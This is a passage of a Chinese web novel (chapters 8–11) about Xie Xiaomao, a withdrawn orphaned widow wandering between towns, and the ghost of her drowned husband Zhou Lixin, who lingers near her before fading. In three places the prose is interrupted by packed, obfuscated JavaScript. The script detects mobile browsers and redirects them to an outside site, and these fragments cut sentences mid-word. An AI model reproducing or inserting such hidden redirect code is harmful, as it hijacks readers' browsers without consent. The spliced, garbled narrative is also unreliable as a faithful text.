小猫沉默了一会儿，抬起头问她：“人死后真的可以显灵吗？” “当然可以！”小花十分确定的回答，“在孤儿院时你没见过吗？人死后都要超度的。而且晚上窗户总爱吱呀作响，还有还有，咱们去过的那个地方，那个地方叫什么来着？晚上娶亲，娶的是阴婚……” “青龙镇。” “对对对。”小花拍了下手，“人家老太太都说，娶亲之后家里和村里就再没出过怪声响，可安生了。可见人要是枉死，又没完成生前遗愿，是很容易变成厉鬼的。” 小花望着小猫一脸沉思的模样，追问道：“小猫，你老公是怎么死的？” “淹死。” 小花下意识捂了下嘴，心里想当然地认为是在河里淹死的，毕竟这是乡下孩子和大人常见的死因。 “人淹死了好像会肿成大胖球，很难看很恐怖的！你当时见到了吗？” 小猫显然不想回忆那段往事，只淡淡说了句：“在太平间见过，和以前没区别。” 小花拍了拍胸脯，一脸后怕地说：““真吓人啊！你可不能太绝情，男人对自己不好没关系，关键是咱们得问心无愧。天天走夜路，哪能不撞鬼？你赶紧回家给他上柱香吧。” 是啊，在所有伙伴眼里，谢小猫是高冷、沉默、独立的人，她不会和任何人走的很近，会保持距离，很冷漠，很绝情。 谢小猫想了想，没打算回去给周礼信上香。 不过小虎和小花还是希望她能跟他们一起走，至少路上有个伴儿。 他们这群人并非都没有目标和喜好。 会怀念路过的那片桃林，会喜欢漫山遍野的山茶花，会惦记有山有水的世外桃源。 他们知道谢小猫现在没这份心思。 她死了丈夫，成了寡妇，八成是怕被人瞧不起，才想一个人独行，何况她手里还有不少钱！并不需要人去担心。 于是同行的人没有再三劝说。 晚上几个人挤在草堆下睡觉，雨后的天空格外清澈，星星亮得晃眼。 他们都望着天空，望着月亮，不发一语。 是啊，没人不渴望一个温暖的家，没人不羡慕有父母宠爱的日子。 可这份期待太久了，久到只能寄托给下辈子，这辈子，不会再有人抱有期待。 或许从前的谢小猫也不会对人生抱有任何程度的幻想，她平淡阴暗的人生却短暂的拥有过人间天堂，如梦如幻。 他像一场缥缈的梦，醒来就散了，仿佛什么都没存在过。 小猫闭上眼睛，无法控制的想到了周礼信。 她恨他，越来越恨。 8. 第 8 章 晨雾还未散尽，谢小猫已经起床，她的背影在朦胧雾气中拉得纤长，显得格外单薄。 没有拥抱，没有道别的话语，就像他们从前无数次分开那样，简单得近乎平淡。 人还是要分别的。 小猫的心态已发生巨大转变，无法与他们同行。 他们早已习惯离别，或许过不了多久，这几人之间也会各奔东西，本就没什么值得伤心的。 谢小猫继续向南走，小虎他们则朝着东方而去。 小花最后回头望了她一眼，随即转回身，再没回头。 他们从来不喜欢郑重道别，转过身，真的就只顾着往前走了。 谢小猫踏上向前的小路，脚步声在清晨的寂静中格外清晰。 走了约莫半小时，太阳彻底升了起来，驱散了最后一丝薄雾。 她停下脚步，从口袋里摸出一块饼干，机械地咀嚼着。 谢小猫并不饿，只是需要做点什么来分散注意力。 “真的会显灵吗？” 一整晚，这个问题都在小猫心里盘旋。 她的确不是个合格的伴侣，从未问过丈夫有什么遗憾、什么爱好，更不清楚他离世时，是否真的有未完成的心愿，该不会真的魂魄未尽无法转世吧？ 这段日子，小猫真的感觉身边阴嗖嗖的，确实有点像被什么东西跟着。 周礼信可顾不上她的纠结，魂魄轻飘飘地缠在她身边，趁她出神时凑到耳边轻声说：“肯定可以显灵的。” 说着猛然又起了一阵风。 谢小猫的头发被风卷得四散飞扬。 这么可怕？！ 小猫停下脚步，望着四周看了又看。 周礼信却定定盯着她的眼睛。 她的眼眸真美啊。 怎么会那样冷漠疏离，生人勿进，令人窒息呢！ 或许和善的人，偏偏就容易被这种拒人千里的神态吸引。 起初不就是这样吗？他分明给她买了那么多肉，这女人却始终表情淡淡的，眼里没有丝毫讨好或渴望。 哪怕后来还想找他要吃食，也只是静静站在旁边，眼神清澈坦荡，连一丝示弱的意味都没有。 直到知道她叫谢小猫才明白过来，她可真像一只猫啊。 仿佛接受他的投喂，都带着几分施舍般的矜持。 周礼信偏偏喜欢这样的感觉。 他就喜欢她这份冷漠。 小猫刚往前挪了几步，风忽然又卷了起来。 明明今天是万里无云的好天气。 她顿住脚，茫然地四下张望，声音轻得像飘在风里的絮：““是你真的来找我了吗？要是……就再刮一阵风吧。” 周礼信偏不让那风再动。 小猫的目光又扫过空荡荡的周遭，强作镇定地喃喃自语：“不管你在不在，我都不怕。我没做亏心事，才不会怕你。” 周礼信笑了。 笑她被小花吓唬到了。 傻媳妇，既然没有做亏心事，为什么要这样四处张望呢？ 小猫虽然日常表现的不太关心他，可是人还是很有心的。 下班回来从沙发上睁开眼睛看他一眼、 这就足够了。 恋爱的时候谢小猫对他如同陌生人，见了面就眼睛对视下，接下来就是吃喝，眼皮都不抬一下，周礼信问什么都是沉默。 后来，已经会抬头看他，不仅限于睁眼。 而且结婚之前谈恋爱，每次出去吃饭或者看电影，她只顾着低头吃自己的，从不肯让他半分，更不会问一句他吃得好不好。 慢慢的，不也变成了他点什么，她便跟着吃什么吗？ 对于挑剔的人来说，他喜欢什么，她就爱什么，已经是莫大的改变了。 周礼信的要求从来就不高呀。 他知道人的性子是打小养出来的，从没想过要她忽然变得黏人软和，活成别人眼里“温柔持家”的样子。 这样就很好了。 不必改，也无需改。 小猫又对着空气说话：“你……你真的在吗？真的吗？这些天，我总觉得有人在跟着我，是你吗？如果是你，你就显灵吧。” 周礼信正对着她的眼睛望着，却不肯再掀起风来。 她如此激动，他便特别想听她说些什么，想知道她要表达什么。 周围什么动静都没有，晴空万里，没有鬼会大白天出没吧？ 谢小猫叹了一口气，自言自语的说道：“我真的很后悔嫁给你，真的。” 那声音很轻很轻，周礼信却听得清清楚楚。 他满脸的震惊与不可思议，简直就是心绞痛，不，是鬼绞痛。 看着谢小猫缓慢地向前走，眼睛漠然地看着前方，手指来回摩挲着包上的挎带，低语道：“我是不是真的克你呢？” 她又叹了一口气。 谢小猫心里涌起一阵愧疚。 她不应该听信小花的话，他死了是因为忙着工作，忙着挣钱，忙着自己的事业。 就算自己没和他结婚，他也会这样忙着自己的工作。 小猫没有要他出国乘坐轮船，也没有在他出事时打电话致使他溺亡。 她什么都没做。 小猫深吸一口气，再次确定，她就是什 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谢小猫不是怕他的冤魂缠着自己，而是想让他早点安息，早点投胎。 这样，她也能安心地继续向前走，再也不回头。 小猫抬头看向蓝天，朵朵白云真是美。 身上突然感受到一阵风，她立刻左右看了下，眼睛对着隐隐有身影的空气，慢慢的一步步向前走。 她伸出手，抓了又抓，什么都没抓到。 “你为什么跟着我呢？你跟着我做什么呢？” 周礼信看着她的脸庞，怎么瞧都瞧不够。 她不爱他，却嫁给他，其中的缘由他自己很清楚。 他有钱，很大方，用食物一次次诱骗她，让她上当，让她上钩，一点点得到她的人，让一个自由自在的人走入婚姻。 却没有能力保护她一生一世，就这么撒手人寰。 她后悔嫁给他，也是应该的。 只和他有过半年的婚姻生活，却要被一个无法放下的魂魄缠绕着不放手。 小花说的对，他做成鬼也不想放手。 他爱她爱到死去活来，死在最爱她的时候。 他想拥有她、占有她的一切，不允许任何人得到她，想让她一辈子想念他、爱着他。 可是，她不是那样的人。 周礼信心痛于她的后悔，却没有办法埋怨。 他的小猫是个好可怜好可怜的人，他怎么能讨厌她、恨她呢？ 绝对不能。 9. 第 9 章 谢小猫在路边采了一束野花，又捡了一块石子。 她蹲下身，在柏油马路上用石头画了个圈圈，然后把鲜花轻轻放进圈里。 她以前看过别人为逝者祭灵，总会画个圈，把值钱的东西烧了送过去。 可小猫没有打火机，只能用这束野花代替。 她低声呢喃：“你安心地走吧，我相信你会上天堂的。不要来找我了......我想我也过不了多久就会离开这里。可能死了我们也没办法遇到，我应该会在地狱......” “我知道水里很凉，很冰。”她的声音低得几乎听不见，手指不停抚摸着花朵，“我掉进过冬天的河水，那种感觉我懂。你如果怕冷怕疼就回家吧，那里很暖和，是你的家，你妈妈在等着你，不要再来跟着我了。” 小猫能想起八九岁时掉河水的场景，像无数把刀刺进皮肤，肺里的空气被一点点挤压殆尽，黑暗从四面八方涌来。 就在她以为自己要消失时，一双有力的手抓住了她，将她拖向水面。 他死的时候，一定会更可怕吧。 谢小猫又嘟嘟囔囔说了些什么，然后开始一片片掰下花瓣，均匀地撒在圆圈里。 她站起身，低头看了眼圈中散落的花瓣，轻声说：“周礼信，再见。” 周礼信很少听到她叫自己的名字，而“再见”是什么意思不言而喻。 或许之前她心里还有他，从此刻开始，她会彻底忘记，彻底的把他抛之脑后。 或许真的彻底的告别，希望他尽快投胎转世，不要再打扰她的生活。 唯一可以确定的是，自己真的要成为过去，消失再她的生命里。 他不知道自己再跟着她的意义，他留恋于人世间，无非是放心不下她，还深深爱她到无法自拔，惋惜、难过、不甘。 这些天已经足够证明，她不爱他。 他们的结合，不过是她迫于压力的妥协。 一年的相伴与喜欢，从头到尾都是自己的一厢情愿，是自己在自导自演。 她就像个旁观者，在寒冷中被一把火吸引，等火灭了便自然离开，再正常不过。 看着小猫头也不回地向前走，他停在了原地。 是啊，是告别的时候了。 自己的肉|体早已殒灭很久很久，墓穴里只剩下一把灰尘，其他什么都没有了。 还在纠缠什么呢？ 阳光照着她的侧脸，勾勒出一具美丽的躯壳。 他望着她的背影，无声地说了一句：“小猫，保重。” 随后，一缕魂魄彻底消散在空气中。 小猫辗转到了一座新的城市，包里的钱已经所剩无几。 她有点饿，还有点冷，灰扑扑的脸上带着疲惫，站在一家烤肉店旁边。 晚上的夜市人声鼎沸，老板忙着招呼客人，没空留意一直徘徊肉前的她。 小猫在旁边站了很久很久，或许是样子太过可怜，不远处座位上的小孩子拿着一串羊肉朝她递过来。 但小猫却后退一步，转身默默走开了。 到了凌晨，天气好像越来越冷。 小猫走了很久的路，才找到一座破败的旧仓库。 仓库里停着一辆破损的拉土车，角落里堆着些废弃的纸箱。 她费力地拖过来几个，勉强铺成一张简陋的“床”。 这次她没有折磨自己，裹上带来的薄被子，躺在拉土车的后斗里，眼睛望着灰蒙蒙的天空。 城市的郊区虽然仍被霓虹灯的余光遮盖，但此刻天边闪耀的星星却显得格外明亮，仿佛带着说不出的快乐。 有那么一瞬间，小猫忽然觉得有些寂寞。 她觉得不可思议，从前习惯一个人独来独往，游走在这人世间没有丝毫的波澜与留恋。 现在居然会感到寂寞？ 直到半夜迷迷糊糊睡醒，谢小猫猛然坐起来。 她决定了，决定再找个男人。 小猫回忆起被亲吻的感觉，想起与他同床共枕的暖意，甚至想起了习惯了周礼信陪伴的那些夜晚，那些肌肤相亲的乐趣。 下定决心后，反而很快入眠，睡得踏实。 天刚蒙蒙亮，谢小猫就被冻醒。 她甚至不记得自己是什么时候睡着的。 不知是不是睡之前想一些情事，梦里周礼信亲的她热情似火，此时还可以清晰的回忆起他手指穿过她发丝的触感，掌心的温度，喘息时喷在她耳边的热气。 那是回忆还是梦境，小猫自己也搞不清了。 她裹了裹被子，眯上眼睛。 恍惚间，像是被时光机，一阵白光，瞬间倒退到几个月前。 那时周礼信正在生病，那几天流行感冒很严重，小猫身体却特别好，一点都没被感染。 他们刚结婚两三个月，不算很久，除了每日的身体交流和一起吃饭，其实没说过多少话。 周礼信从没指望过这个没有家庭观念的人照顾自己，日子还很长，有几十年的时光，他一点都不着急，反而还心疼没人给她做饭吃。 周礼信从没指望过这个没有家庭观念的人照顾自己，反而还心疼她没人做饭吃。 他们结婚后第一次分床睡，周礼信担心传染她身上。 小猫心里一下子泛起被抛弃的涟漪，非常非常不开心。 周礼信躺在床上休息时，小猫就那么站在旁边看着他，一言不发。 周礼信带着浓重的鼻音问道：“小猫，你怎么不在外面呢？沙发上不舒服吗？” 谢小猫不说话，只是盯着他看。 他摸了下桌子上的手表，看了时间，已经快凌晨十二点。 看着神态，眼睛婉转柔情，以为小猫是舍不得他，想守在这里，周礼信心里更加感动，戴上口罩掀开被子走到她身边：“乖宝宝，你是不是想跟我睡在一起？” 小猫垂眸，不说话。 “你是担心我对吗？” 她摇了下头。 周礼信：“......” “那是什么？怕我饿了么？” “该不会是担心我死了吧？” “睡一起。”她终于低声吐出三个字。 他伸手揉了下小猫的头发，故意说道：“你以前不是不爱和我睡嘛？每次做完都裹着被子缩在角落，现在怎么又想了？那你叫我一声老公行不行？” 小猫再次垂眸不说话。 “那叫宝贝吧。” 小猫扭过头看向别处，一副你那么幼稚的样子。 “你是不是想......嗯？” 小猫抿着嘴不说话。 周礼信心里甜滋滋的，就算病重也觉得开心，问道：“小猫，你那个走了吗？” 谢小猫知道他说的是什么，撇了下嘴，又轻“哼” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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或许是被这锲而不舍的跟踪惹得有些不耐烦，男人停下脚步，转过身问道：“请问有什么事吗？” 他的声音有些冷漠，远不如亡夫的声音好听，当然长相气质更不如。 小猫还在心里默默对比着，男人已经上下打量了她一番，拿出手机随意说道：“加个微信吧。” 为什么每个男人都要加微信呢？ 小猫望着他，轻轻摇了摇头。 “那你跟着我到底有什么事？”男人又问了一遍。 小猫抬起头，认真地说：“我想找男朋友。” 男人听完，忽然笑了起来。 那笑声里带着一种不明所以的意味，像是遇到了一个主动送上门的傻女人。 他不再急着离开，定定地盯着小猫的眼睛，缓缓说道：“好啊，那你晚上在信达大厦等我。” 谢小猫没有接他的话，只轻声道：“你转过身吧。” 男人看了她一眼，知道女人没有手机，迅速从包里摸出一张纸，写下一串电话号码递过去。 “晚上要是找不到地方，可以打这个电话给我。” 说完还笑了下，转身离开了。 小猫的目光一直追随着他的背影，她此刻只想看他的背影，对他的正面毫无兴趣。 直到那身影走远，她才慢慢收回视线，在一旁的长椅上坐下，再次睁大眼睛，在来往的人群中物色起下一个人选。 10. 第 10 章 没有手机通讯方式，小猫和那男人的缘分并没有维持多久。 谢小猫似乎也并不在意。 两天后的晚上他们再次重逢。 那男人在背后拍了下她的肩膀，笑眯眯的问：“你还没走呀？” 小猫转过身，看着他的脸，心里有些失望，但勉强也能凑合。 “我想吃肉。” 男男人没料到她开口第一句就是要东西吃，心里其实不太舒服。 他不算穷，但是也不是随意被人勾走的人。 他轻轻笑了笑，问道：“你没带钱呀？” 小猫摇了摇头。 事实上她有钱有卡，也会用，至于为什么不去取，可能纯粹是懒。 也许是怕亡夫找过来。 谢小猫自认为在那个圆圈圈旁采几朵花就算祭拜，周礼信的亡灵肯定已经超度了。 于是她直起胸膛，又说一遍：“饿了。” 男人笑了，不过小猫看得出并不是多友好的笑容。 周礼信当时对她的眼神是怜悯、好奇、探索，走过来和她说话时带着友善与风度，没有一丝一毫的玩味。 也许天然长得翩然，会给人很舒服的感觉。 小猫不想对比，可忍不住。 男人无奈的说道：“你想吃什么，我给你买个肉夹馍吧，里面也有肉。” 小猫摇摇头，坚定的语气：“红烧肉。” 那男人再次仔细打量了她的外貌，。 她的确长得很可爱，眼睛圆圆的，脸型圆圆的，真像猫变得，淡漠又让人有保护欲的小可怜。 沉默了好一会儿，大约在计较得失代价，他说：“你现在先在这等着我吧，我去买。” 小猫继续坐在街边的座椅上，东张西望地看着来往的人群。 过了很久，大概有一个小时，男人才提着饭盒过来。 他气喘吁吁的说：“找了好久才找到，你吃吧。” 谢小猫没有抬眼看他，自顾自吃了起来。 她对味道本没有什么要求，只是和周礼信生活久了，便微微养成了些挑剔的习惯。 觉得这红烧肉味道有点咸，糖放少了。 男人坐在旁边，直接点了一支烟，笑着问她：“你是外地人？” 小猫只管吃饭，不想说话。 “你在哪个大学读书？不会是逃课在旅游吧？” 看她的样子不像上班族，衣着随意宽松，倒像个非主流去西藏、新疆旅游的酷girl。 谢小猫吃饭的时候是真的一点不想开口。 周礼信就从不逼迫她说话，只会安静地看着她吃，还会给她挑好食物、送来茶水，满眼都是欣赏与喜欢。 不过，小猫对眼前这个男人没什么要求，随便他问吧，反正她不会回答。 男人见她不肯说话，觉得她没素质、缺乏教养，便合上饭盒，夺走了她的筷子，说道：“小姑娘，你这样就不地道了。我给你买东西吃，你都不说一声谢谢吗？该不会是专门来蹭吃蹭喝的吧？” 他说的对，小猫没有反驳。 她确实在蹭吃蹭喝，为了吃喝甚至能轻易答应嫁给一个人。 原先应允周礼信求婚时，她总觉得没人能管住她的人身自由，结婚了又怎样，想走随时可以走。 可是，一天、两天、三天过去，小猫被他温柔的抚摸弄得飘飘然，和他在一起时很舒服、很开心。 每次都在心里打算，再待一段时间，过些天再走。 等真下定决心不走了，他却死了。 哎，他怎么死了呢？ 真可惜。 律师跟她讲这件事的时候，她第一反应居然是“离世”后是不是没人带她出去吃喝了，也没人陪她走路散步了。 晚上吃完饭走路三小时一般人都会受不了吧。 她的饭搭子，她的暖床人，她的钞票机，她的丈夫...... 想着想着，谢小猫叹了一口气，也不想吃了。 男人见小猫起身要走，有些着急地说：“你不吃啦？我买了这么多，你不吃多浪费。我又不爱吃肥肉，腻得很。不过，你也少吃点吧，肥肉容易导致心血管疾病，还会让人肥胖，现在的女孩不都……” 谢小猫看向他，呆呆的问：“你住在哪里？” “啊？”男人有些震惊，“你......你要去我家吗？” “嗯。” “你认识我吗？” 小猫摇摇头。 “那你跟我回家是什么意思？需要给钱吗？” 小猫眼睛直直的看着他，想在他的身上寻求痕迹。 她当然不想要钱，也不会有钱，只是有些害怕。 人也好，鬼也罢，她都不怕，却唯独怕他。 怕那个亡夫，怕他真的显灵抓她走，把她丢在乱葬岗，就像《聊斋》里写的那样。 小猫到底在恐惧他什么呢？ 他明明对她那么好那么好。 可为什么这些天，她总会在脑子里想念他？ 丈夫都已经死了，她还在想什么呢？ 从前，她就不会想念死人的。 孤儿院时对她很好的老医生去世了，她都没有任何感觉，死人是觉察不到有人想念的。 她不会做这些事。 那么想念的意思就是害怕吧？ 怕他来找她，怕他来报仇。 毕竟，认识一年，她对他，实在说不上多好。 最多就是他亲吻的时候，伸臂搂着他。 没有关心过他工作怎么样，累不累，要去哪里出差，想吃什么。 每次他回来都很开心，很快乐，对她非常热情，应该是不累的。 小猫再次抬头看向这个男人，轻声说：“我不要钱。” 她确信，这世上总会有男人像周礼信那样，做着同样的事。 男女谈恋爱，大抵都会如此吧。 小猫心里满怀期待。 男人看向她，轻笑一声：“那你是想做我的女朋友了？” “结婚。”她认真地说。 “啊？哈哈哈哈哈。”男人像是听到了天大的笑话，笑得格外爽朗。 小猫从他的眼神里清清楚楚地看到了嘲笑与讽刺。 她轻轻叹了口气，默默转身离开，任凭那男人在身后怎么呼喊、询问名字，都没有回头。 小猫不知道自己走了多久，整整一夜都在漫无目的地行走，恍惚间竟走到了新的小城镇。 到底在哪里，她自己也说不清楚。 累了，就歪在银行取款机旁歇一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317626|183089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，缓过劲来再继续向前走。 天渐渐变亮，她实在疲倦得厉害，想去坐公交车。 天才蒙蒙亮，第一班公交车还要等一阵子才会来。 她低着头在站牌旁来回踱步，忽然抬起了头。 站牌栏上贴着一张几个月前的旧报纸，报纸上印着两个人握手的合照，上面那个熟悉的身影，正是周礼信。 小猫直愣愣地盯着照片，仿佛他们已经分开了无数个春秋，此刻猛然对上他的模样，积压在心底许久的伤痕突然迸裂。 大脑居然一片空白。 她看了好一会儿，默默转过身走到别处，可没几分钟，又不受控制地走了回来。 小猫不知道别人经历久别重逢，或是在心底念了千万遍的人无意间出现在眼前时，会是怎样的心情。 她手足无措，不知该作何反应，就那么傻傻地望着那张照片出神。 慢慢的，站台上开始有人过来。 她笑着对一个陌生人指了指报纸上的头像：“我认识他。” 陌生人只是漠然地走到站牌前查看公交车号，并未理会。 过了一会儿又来一个人，小猫又笑着对他指了指照片：“他是我老公。” 那人敷衍地笑了笑：“哦哦，这么厉害。” 她“嗯嗯”一声。 终于，第一班公交车到站了。 小猫有些兴奋地走上车，找到靠窗的位置坐下。 她原本想压制住往广告栏看的欲望，可目光还是忍不住飘了过去 她在看什么呢？ 看他的照片吗？ 这到底怎么样的心情呢？以前从来没有体会过。 她明明从来没有把他的长相忘记，对他的样貌记得很清楚，可为什么重新看到时，还是会如此兴奋，止不住地紧张颤抖？ 小猫坐在座位上，脑子渐渐放空，不知过了多久，她随着人群下了车，走到路对面，坐上了返程的公交车。 再次回到那个站牌前，她伸出手，一遍又一遍地抚摸着那张照片。 小猫很难过，就那么对着他的照片发呆、出神。 就这么在这一天，她坐了又站，站了又坐，反复回到这里看那张照片。 她想，不能再这样了，不能在一个地方耗太久，浪费太多时间。 她想解脱，想找新的人。 于是她在繁华的街上来来回回物色着，可看了很多男人，没有一个让她满意。 小猫垂头丧气，决定再转战一个城市。 隔壁的城市离这里不远，中间隔着一座山，山已经被开发成旅游区，从小路穿过去是最近的路线。 小猫想爬山走过去，这样几个小时就能到隔壁城市。 她默默地穿行在山间，心放空得什么都没想，只是低着头一步步往前走。 山上阴雨连绵，淅淅沥沥的雨水打湿了她的头发。 不知过了多久，前方出现了一座长长的绳索吊桥，平时这里本该是游人络绎不绝的地方，此刻却空无一人。 四周树木茂密，山间起了雾气，偶尔传来悠远的动物叫声。 谢小猫对着幽静的山谷声音大了一些喊道：“我已经把你忘了！你不要缠着我了。” 声音在山谷里回荡，却很快被雾气吞没。 11. 第 11 章 周礼信站在她身旁，审视着她的眼神。 这些天，很多时候他都想离开，想去做点好事重新投胎个好人家。 她对他那么残忍，那么轻易就对别人动了心。 仿佛所有穿西装革履的男人都能轻易吸引她。 他知道自己死了，她有喜欢任何人的自由，可以滥情，可以亲吻，可以看上很多很多人。 可是他真的难过呀，真的不甘心呀。 就算成了鬼，他还想和她做夫妻，还想陪她过一辈子，还想能够重新投胎与她相遇。 为什么她能那样轻易地喜欢上别人呢？ 当时和她结婚时候，周礼信就下定决心，这辈子只宠爱她，只喜欢她，只跟她一生一世在一起。 不知她当时有没有过这样的想法。 现在看到妻子站在幽静阴沉的山谷中，呼喊着让他离开，不要缠着她，还是觉得她好可怜。 他还是喜欢她，哪怕她对他如此绝情。 周礼信的鬼魂飘到她身后，跟着她走上绳索吊桥。 大约思绪深沉，没有注意，自己发出声响后，显示中就会吹起了一阵风，远处传来类似鬼啸的风声，吊桥在风中东摇西晃。 小猫站在桥的中间，四处张望。 寻了很久，发现什么都没找到。 她一点都不怕鬼，却害怕他。 周礼信望着她单薄的身影，终于慢慢向后退去。 他想，这一次，他大概不会再回来了吧。 这些天，他总是这样断断续续地离开又返回，忍不住想知道她在做什么，像个阴魂不散偷窥人家的孤魂野鬼。 是啊，自从他死后，就再也没有人给他烧过纸了。 如今，看见她决定和别的男人在一起，他该放心了，也该真正为她开心才对。 她那么弱小，那么孤独，总是在奔波，确实需要有人陪在身边，才能驱散那些难熬的寂寞。 人的一生太漫长了，确实需要相互扶持的人才能走完。 周礼信最后深深看了她一眼，身影彻底消散在雾气中。 桥上的人还在长久地停留，安静的站着，四周再也没有任何声响。 小雨渐渐停了，只留下一片湿漉漉的痕迹，阴沉沉的山间若是到了晚上，恐怕会更恐怖吧。 谢小猫望着远方发愣了很久，忽然将两只手拢在嘴边，做成喇叭的形状，对着空旷的山谷用力喊去。 “周礼信，你快回来吧，我真的好想你啊。” 声音在山谷中回荡，穿过雾气，越过吊桥，却再也传不到那个已经离去的鬼魂耳中。 只有山间的风，带着她迟来的呼唤，渐渐消散在空寂的天地间。 谢小猫垂着头。 她知道，人死了是再也回不了头，也给不了任何回应的。 这一刻，她很难过，很伤心。 她讨厌他，恨他。 恨他为什么突然出现在自己面前，恨他为什么要对她做那些事。 恨他为什么和别人不一样，不打骂她，羞辱她，赶他走。 或者施舍点剩饭打发。 如今，她像具行尸走肉，漫无目的地活着。 她明明那么喜欢这个世界，哪怕只有一分一秒的光亮都想抓住，想看看大千世界，想一直流浪，一直勇往直前。 现在，他却把她困在幽静的深渊，怎么都逃脱不出来。 小猫想骂他，刚才一阵风吹来，想的是对着山谷骂他。 当呼喊出来的时候，还是说“我好想你”。 是啊，她真的好想他啊。 想念像疯长的藤蔓，瞬间蔓延到每个细胞，紧紧缠绕着她。 小猫扶着吊桥的绳索慢慢往前走，山路被雨水泡得湿滑，她走得格外慢。 等翻过山时，天已经彻底暗了下来，濛濛细雨又开始飘落。 站在半山腰，她望着远处城市闪烁的霓虹灯，明明近在眼前，却感觉隔着万水千山。 小猫觉得好累好累。 不知不觉没了意识。 再次睁开眼时，她竟躺在一片碧绿的草原上，阳光温暖得让人犯困，天上还飘着一朵孤零零的白云。 小猫坐起来时，看到了远处的男人。 一个熟悉的男人身影，立刻起身朝他跑去。 可是，跑呀，跑呀，像隔着一层无形的屏障，始终追不上。 直到脚下一绊，她才猛地惊醒。 原来自己被山上的工作人员抬进了一间小屋，对方见她醒了，立刻皱着眉批评：“小姑娘，怎么回事呀，天这么晚了你一个人在山上野营多危险，帐篷也没带，还有同学跟着吗？” 工作人员见她年纪轻，下意识以为是大学生组团探险。 小猫轻轻摇了摇头。 “电话是多少？我打电话给你老师还是父母？” “我没读书。”她声音轻得像蚊子叫。 “那爸妈的电话呢？” 小猫抿着唇，没有回答。 这么晚了，工作人员可能也要赶紧回家，面对三两句都蹦不出几个字的人也是干着急，只能耐着性子追问： “小姑娘，你该不会是离家出走吧？” 小猫摇摇头，回道：“我没爸妈，我结婚了。” 工作人员上下打量了下，这么年轻就结婚，微微舒了一口气：“那快点说你爱人电话吧。” 谢小猫几乎是下意识地，背出了周礼信的手机号。 他的手机早就随着那片冰冷的海水石沉大海，手机里他们的合照、视频，随着冰冷的海水早已消散。 只是周礼信的父母后来重新给他办了手机号，买了新手机，放在他床头，定时充电，像在等他回来。 电话接通时，周礼信的父母吓了一跳。 “请问这是谢小姐爱人的电话吗？” 周礼信爸妈一时没反应过来，想了下才醒悟，谢小姐是那个被他们赶走的儿媳妇。 工作人员简单说明了情况，他父母还在上班，是没有时间来管这件事的。 但电话那头的语气还是透着难掩的慌乱与懊悔。 当初儿子去世后，他们沉浸在巨大的悲痛里，把怨气撒在了小猫身上，违背了周礼信“所有财产都留给她”的遗嘱，硬是把她逼得露宿街头。 前些天，他们总觉得儿子房间半夜有风声呼啸，夜里常睡不安稳，是不是儿子死不瞑目，在牵挂那个被他们赶走的人？ 这些日子过去，锥心的疼痛渐渐平复许多，只剩下落落的空虚。 原本他们也不会住在那个城市，会一直一直待在老家。 没一会儿父母打电话到工作人员手机上，要小猫接电话。 工作人员把手机递给小猫：“你爱人的妈妈打电话过来了。” 电话那头，周礼信母亲的哭声瞬间传来：“小猫，你回来吧……以前我就知道信信最疼你、最放心不下你，是我和你爸太难过太糊涂，不该赶你走......我这就把房子钥匙给你送过去，你回那个家好不好？” 谢小猫握着手机，听着里面的声音，一言不发。 母亲还在哭着诉说：“希望你原谅我们。信信是我的命呀，我是他的妈妈，一点点看着他长大，大学，毕业，工作，结婚。他没了，把我的根骨都打断了！不管你对他是什么感情，我都不该违背他的遗嘱，不该辜负他临走前的心愿。” 电话里的哭声断断续续，满是一位母亲诉说的哀伤与愧疚、无奈。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317627|183089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小猫不能感同身受。 她不知道母亲失去孩子会痛苦，会伤心落泪。 她只记得七八岁时，孤儿院的陈阿姨带她第一次吃炸鸡，陈阿姨摸着她的头说：“你爸妈有了姐姐，弟弟，不会再要你的。” 小猫当时哭的好伤心呀，“不要”是什么意思呢？ 是抛弃，是遗弃，是永远不会有血缘家人，不需要再做梦有一天门口会来一对夫妻把她接走。 那个梦，在那天彻底破碎了。 周礼信的父母和她相处很少，本就不喜欢她，自然不会真的来接她。 小猫晚上在值班房间休息，第二天一大早便准备回家。 她想，走了这么多天，转了那么久，该回去看看了。 那个曾经有他们生活痕迹的地方，过去这么多天，应该已经没有了他的气息。 公公婆婆给了她门锁密码，那是儿子与她生活过的地方，他们终于要彻底放弃，放弃这个留存着孩子最后生活气息的空间。 小猫真的累了，这次不想再走回去，准备乘坐火车。 只有一两个小时的车程，她真的走不动了，觉得全身疲惫。 去火车站的路上，不知是不是缘分使然，她又遇见了那个男人。 从背后望过去，他的身形真的很像他。 男人看见小猫也很惊奇，笑着问：“这么有缘分，来这里还能遇见，该不会你是专门来找我的吧？” 小猫看着他，原本纠结的心突然安定下来。 不过是男人而已，她觉得自己应付得来。 “嗯。” 这次男人没有像之前那样犹豫错过，立刻说：“你在这等我，我半个小时内肯定回来。” 小猫看着他的背影，点了点头。 果不其然，他没有磨磨唧唧，二十多分钟就回来了，手里拿着一张卡：“你先过去吧，我忙完中午就去。” 小猫认得这东西，是房卡。 她和周礼信出去旅游时用过，会住一间房、一张床，做一些夫妻该做的事情。 